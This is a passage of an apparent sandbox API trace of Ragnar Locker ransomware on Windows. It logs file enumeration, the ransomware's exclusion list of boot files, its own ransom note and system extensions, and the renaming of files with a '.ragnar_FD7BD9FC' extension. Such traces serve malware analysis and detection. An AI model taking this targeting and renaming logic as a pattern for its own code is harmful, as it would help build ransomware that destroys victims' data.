(in: lpString1=0x1e9530, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml" [0055.229] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml.ragnar_FD7BD9FC" [0055.229] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0055.229] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d4e341, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d4e341, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6dc0e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x40e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp.xml", cAlternateFileName="")) returned 1 [0055.229] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x4d [0055.229] lstrcpyW (in: lpString1=0x1ea0a4, lpString2="ja-jp.xml" | out: lpString1="ja-jp.xml") returned="ja-jp.xml" [0055.229] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned=".xml" [0055.229] lstrcmpiW (lpString1="ja-jp.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0055.229] lstrcmpiW (lpString1="ja-jp.xml", lpString2="autorun.inf") returned 1 [0055.230] lstrcmpiW (lpString1="ja-jp.xml", lpString2="boot.ini") returned 1 [0055.230] lstrcmpiW (lpString1="ja-jp.xml", lpString2="bootfont.bin") returned 1 [0055.230] lstrcmpiW (lpString1="ja-jp.xml", lpString2="bootsect.bak") returned 1 [0055.230] lstrcmpiW (lpString1="ja-jp.xml", lpString2="bootmgr") returned 1 [0055.230] lstrcmpiW (lpString1="ja-jp.xml", lpString2="bootmgr.efi") returned 1 [0055.230] lstrcmpiW (lpString1="ja-jp.xml", lpString2="bootmgfw.efi") returned 1 [0055.230] lstrcmpiW (lpString1="ja-jp.xml", lpString2="desktop.ini") returned 1 [0055.230] lstrcmpiW (lpString1="ja-jp.xml", lpString2="iconcache.db") returned 1 [0055.230] lstrcmpiW (lpString1="ja-jp.xml", lpString2="ntldr") returned -1 [0055.230] lstrcmpiW (lpString1="ja-jp.xml", lpString2="ntuser.dat") returned -1 [0055.230] lstrcmpiW (lpString1="ja-jp.xml", lpString2="ntuser.dat.log") returned -1 [0055.230] lstrcmpiW (lpString1="ja-jp.xml", lpString2="ntuser.ini") returned -1 [0055.230] lstrcmpiW (lpString1="ja-jp.xml", lpString2="thumbs.db") returned -1 [0055.230] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0055.230] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0055.230] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0055.230] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0055.230] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0055.230] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0055.230] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0055.230] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml")) returned 0x20 [0055.237] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0055.237] CloseHandle (hObject=0xffffffff) returned 0 [0055.237] lstrcpyW (in: lpString1=0x1e9530, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml" [0055.237] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml.ragnar_FD7BD9FC" [0055.237] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0055.238] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d7449e, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d7449e, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f70223f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3af9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr.xml", cAlternateFileName="")) returned 1 [0055.238] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x4d [0055.238] lstrcpyW (in: lpString1=0x1ea0a4, lpString2="ko-kr.xml" | out: lpString1="ko-kr.xml") returned="ko-kr.xml" [0055.238] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned=".xml" [0055.238] lstrcmpiW (lpString1="ko-kr.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0055.238] lstrcmpiW (lpString1="ko-kr.xml", lpString2="autorun.inf") returned 1 [0055.238] lstrcmpiW (lpString1="ko-kr.xml", lpString2="boot.ini") returned 1 [0055.238] lstrcmpiW (lpString1="ko-kr.xml", lpString2="bootfont.bin") returned 1 [0055.238] lstrcmpiW (lpString1="ko-kr.xml", lpString2="bootsect.bak") returned 1 [0055.238] lstrcmpiW (lpString1="ko-kr.xml", lpString2="bootmgr") returned 1 [0055.238] lstrcmpiW (lpString1="ko-kr.xml", lpString2="bootmgr.efi") returned 1 [0055.238] lstrcmpiW (lpString1="ko-kr.xml", lpString2="bootmgfw.efi") returned 1 [0055.238] lstrcmpiW (lpString1="ko-kr.xml", lpString2="desktop.ini") returned 1 [0055.238] lstrcmpiW (lpString1="ko-kr.xml", lpString2="iconcache.db") returned 1 [0055.238] lstrcmpiW (lpString1="ko-kr.xml", lpString2="ntldr") returned -1 [0055.238] lstrcmpiW (lpString1="ko-kr.xml", lpString2="ntuser.dat") returned -1 [0055.238] lstrcmpiW (lpString1="ko-kr.xml", lpString2="ntuser.dat.log") returned -1 [0055.238] lstrcmpiW (lpString1="ko-kr.xml", lpString2="ntuser.ini") returned -1 [0055.238] lstrcmpiW (lpString1="ko-kr.xml", lpString2="thumbs.db") returned -1 [0055.238] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0055.238] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0055.238] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0055.238] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0055.238] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0055.238] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0055.238] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0055.238] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml")) returned 0x20 [0055.238] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0055.239] CloseHandle (hObject=0xffffffff) returned 0 [0055.239] lstrcpyW (in: lpString1=0x1e9530, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml" [0055.239] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml.ragnar_FD7BD9FC" [0055.239] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0055.239] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7323df00, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7323df00, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0055.239] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x4d [0055.239] lstrcpyW (in: lpString1=0x1ea0a4, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0055.239] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\RGNR_FD7BD9FC.txt") returned=".txt" [0055.239] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0055.239] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d9a5fb, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d9a5fb, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f774659, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x264b, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-changjei.xml", cAlternateFileName="")) returned 1 [0055.239] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x4d [0055.239] lstrcpyW (in: lpString1=0x1ea0a4, lpString2="zh-changjei.xml" | out: lpString1="zh-changjei.xml") returned="zh-changjei.xml" [0055.239] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned=".xml" [0055.239] lstrcmpiW (lpString1="zh-changjei.xml", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0055.239] lstrcmpiW (lpString1="zh-changjei.xml", lpString2="autorun.inf") returned 1 [0055.239] lstrcmpiW (lpString1="zh-changjei.xml", lpString2="boot.ini") returned 1 [0055.239] lstrcmpiW (lpString1="zh-changjei.xml", lpString2="bootfont.bin") returned 1 [0055.239] lstrcmpiW (lpString1="zh-changjei.xml", lpString2="bootsect.bak") returned 1 [0055.239] lstrcmpiW (lpString1="zh-changjei.xml", lpString2="bootmgr") returned 1 [0055.239] lstrcmpiW (lpString1="zh-changjei.xml", lpString2="bootmgr.efi") returned 1 [0055.239] lstrcmpiW (lpString1="zh-changjei.xml", lpString2="bootmgfw.efi") returned 1 [0055.239] lstrcmpiW (lpString1="zh-changjei.xml", lpString2="desktop.ini") returned 1 [0055.239] lstrcmpiW (lpString1="zh-changjei.xml", lpString2="iconcache.db") returned 1 [0055.239] lstrcmpiW (lpString1="zh-changjei.xml", lpString2="ntldr") returned 1 [0055.239] lstrcmpiW (lpString1="zh-changjei.xml", lpString2="ntuser.dat") returned 1 [0055.239] lstrcmpiW (lpString1="zh-changjei.xml", lpString2="ntuser.dat.log") returned 1 [0055.239] lstrcmpiW (lpString1="zh-changjei.xml", lpString2="ntuser.ini") returned 1 [0055.239] lstrcmpiW (lpString1="zh-changjei.xml", lpString2="thumbs.db") returned 1 [0055.240] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0055.240] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0055.240] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0055.240] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0055.240] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0055.240] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0055.240] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0055.240] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml")) returned 0x20 [0055.246] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0055.246] CloseHandle (hObject=0xffffffff) returned 0 [0055.246] lstrcpyW (in: lpString1=0x1e9530, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" [0055.246] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml.ragnar_FD7BD9FC" [0055.246] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0055.246] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e7ee29, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e7ee29, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f79a7b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2b3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-dayi.xml", cAlternateFileName="")) returned 1 [0055.246] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x4d [0055.247] lstrcpyW (in: lpString1=0x1ea0a4, lpString2="zh-dayi.xml" | out: lpString1="zh-dayi.xml") returned="zh-dayi.xml" [0055.247] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned=".xml" [0055.247] lstrcmpiW (lpString1="zh-dayi.xml", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0055.247] lstrcmpiW (lpString1="zh-dayi.xml", lpString2="autorun.inf") returned 1 [0055.247] lstrcmpiW (lpString1="zh-dayi.xml", lpString2="boot.ini") returned 1 [0055.247] lstrcmpiW (lpString1="zh-dayi.xml", lpString2="bootfont.bin") returned 1 [0055.247] lstrcmpiW (lpString1="zh-dayi.xml", lpString2="bootsect.bak") returned 1 [0055.247] lstrcmpiW (lpString1="zh-dayi.xml", lpString2="bootmgr") returned 1 [0055.247] lstrcmpiW (lpString1="zh-dayi.xml", lpString2="bootmgr.efi") returned 1 [0055.247] lstrcmpiW (lpString1="zh-dayi.xml", lpString2="bootmgfw.efi") returned 1 [0055.247] lstrcmpiW (lpString1="zh-dayi.xml", lpString2="desktop.ini") returned 1 [0055.247] lstrcmpiW (lpString1="zh-dayi.xml", lpString2="iconcache.db") returned 1 [0055.247] lstrcmpiW (lpString1="zh-dayi.xml", lpString2="ntldr") returned 1 [0055.247] lstrcmpiW (lpString1="zh-dayi.xml", lpString2="ntuser.dat") returned 1 [0055.247] lstrcmpiW (lpString1="zh-dayi.xml", lpString2="ntuser.dat.log") returned 1 [0055.247] lstrcmpiW (lpString1="zh-dayi.xml", lpString2="ntuser.ini") returned 1 [0055.247] lstrcmpiW (lpString1="zh-dayi.xml", lpString2="thumbs.db") returned 1 [0055.247] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0055.247] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0055.247] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0055.247] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0055.247] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0055.247] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0055.247] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0055.247] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml")) returned 0x20 [0055.247] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0055.248] CloseHandle (hObject=0xffffffff) returned 0 [0055.248] lstrcpyW (in: lpString1=0x1e9530, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" [0055.248] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml.ragnar_FD7BD9FC" [0055.248] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0055.248] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e32b6f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e32b6f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f79a7b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ac3, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-phonetic.xml", cAlternateFileName="")) returned 1 [0055.248] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x4d [0055.248] lstrcpyW (in: lpString1=0x1ea0a4, lpString2="zh-phonetic.xml" | out: lpString1="zh-phonetic.xml") returned="zh-phonetic.xml" [0055.248] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned=".xml" [0055.248] lstrcmpiW (lpString1="zh-phonetic.xml", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0055.248] lstrcmpiW (lpString1="zh-phonetic.xml", lpString2="autorun.inf") returned 1 [0055.248] lstrcmpiW (lpString1="zh-phonetic.xml", lpString2="boot.ini") returned 1 [0055.248] lstrcmpiW (lpString1="zh-phonetic.xml", lpString2="bootfont.bin") returned 1 [0055.249] lstrcmpiW (lpString1="zh-phonetic.xml", lpString2="bootsect.bak") returned 1 [0055.249] lstrcmpiW (lpString1="zh-phonetic.xml", lpString2="bootmgr") returned 1 [0055.249] lstrcmpiW (lpString1="zh-phonetic.xml", lpString2="bootmgr.efi") returned 1 [0055.249] lstrcmpiW (lpString1="zh-phonetic.xml", lpString2="bootmgfw.efi") returned 1 [0055.249] lstrcmpiW (lpString1="zh-phonetic.xml", lpString2="desktop.ini") returned 1 [0055.249] lstrcmpiW (lpString1="zh-phonetic.xml", lpString2="iconcache.db") returned 1 [0055.249] lstrcmpiW (lpString1="zh-phonetic.xml", lpString2="ntldr") returned 1 [0055.249] lstrcmpiW (lpString1="zh-phonetic.xml", lpString2="ntuser.dat") returned 1 [0055.249] lstrcmpiW (lpString1="zh-phonetic.xml", lpString2="ntuser.dat.log") returned 1 [0055.249] lstrcmpiW (lpString1="zh-phonetic.xml", lpString2="ntuser.ini") returned 1 [0055.249] lstrcmpiW (lpString1="zh-phonetic.xml", lpString2="thumbs.db") returned 1 [0055.249] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0055.249] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0055.249] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0055.249] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0055.249] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0055.249] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0055.249] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0055.249] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml")) returned 0x20 [0055.256] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0055.256] CloseHandle 